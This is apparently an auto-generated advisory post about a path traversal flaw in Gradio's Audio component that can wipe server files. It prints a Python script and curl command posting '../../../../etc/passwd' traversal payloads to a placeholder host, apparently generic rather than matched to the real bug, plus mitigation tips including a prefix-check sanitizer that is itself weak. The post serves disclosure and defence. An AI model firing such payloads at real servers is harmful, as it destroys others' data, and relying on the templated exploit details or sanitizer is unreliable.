How the CVE Works:
The vulnerability in Gradio (CVE-2025-XXXX) stems from a path traversal issue within the Audio component of the `gradio-app/gradio` library, specifically in version git 98cbcae. Attackers can exploit this flaw by manipulating the output format of audio files. This manipulation allows them to specify arbitrary file paths, leading to the deletion of critical files on the server. By resetting files to an empty state, the attacker can cause a denial of service (DoS), disrupting server operations. The issue arises due to insufficient validation of user-supplied input in the file handling logic, enabling unauthorized access to the file system.
DailyCVE Form:
Platform: Gradio
Version: git 98cbcae
Vulnerability: Path Traversal
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code Example:
import requests
target_url = "http://vulnerable-gradio-server.com/audio"
malicious_payload = {
"file_format": "../../../../etc/passwd",
"audio_data": "malicious_data"
}
response = requests.post(target_url, json=malicious_payload)
print(response.text)
This script demonstrates how an attacker could exploit the path traversal vulnerability to delete or overwrite critical files.
2. Exploit Command:
curl -X POST http://vulnerable-gradio-server.com/audio -d '{"file_format": "../../../../etc/passwd", "audio_data": "malicious_data"}'
Protection:
1. Patch Application:
- Upgrade to the latest version of Gradio that addresses this vulnerability.
- Apply patches provided by the Gradio maintainers.
2. Input Validation:
import os
def sanitize_file_path(file_path):
base_dir = "/safe/directory"
absolute_path = os.path.abspath(os.path.join(base_dir, file_path))
if not absolute_path.startswith(base_dir):
raise ValueError("Invalid file path")
return absolute_path
Implement strict input validation to prevent path traversal attacks.
3. Server Hardening:
- Restrict file system permissions to limit the impact of potential exploits.
- Use a web application firewall (WAF) to detect and block malicious payloads.
4. Monitoring:
- Monitor server logs for unusual file access patterns.
- Set up alerts for unauthorized file deletion attempts.
5. Code Review:
- Regularly review file handling code for vulnerabilities.
- Use static analysis tools to identify potential security flaws.
By following these steps, organizations can mitigate the risks associated with CVE-2025-XXXX and protect their systems from exploitation.
References:
Reported By: https://github.com/advisories/GHSA-pgfv-gvc5-prfg
Extra Source Hub:
Undercode
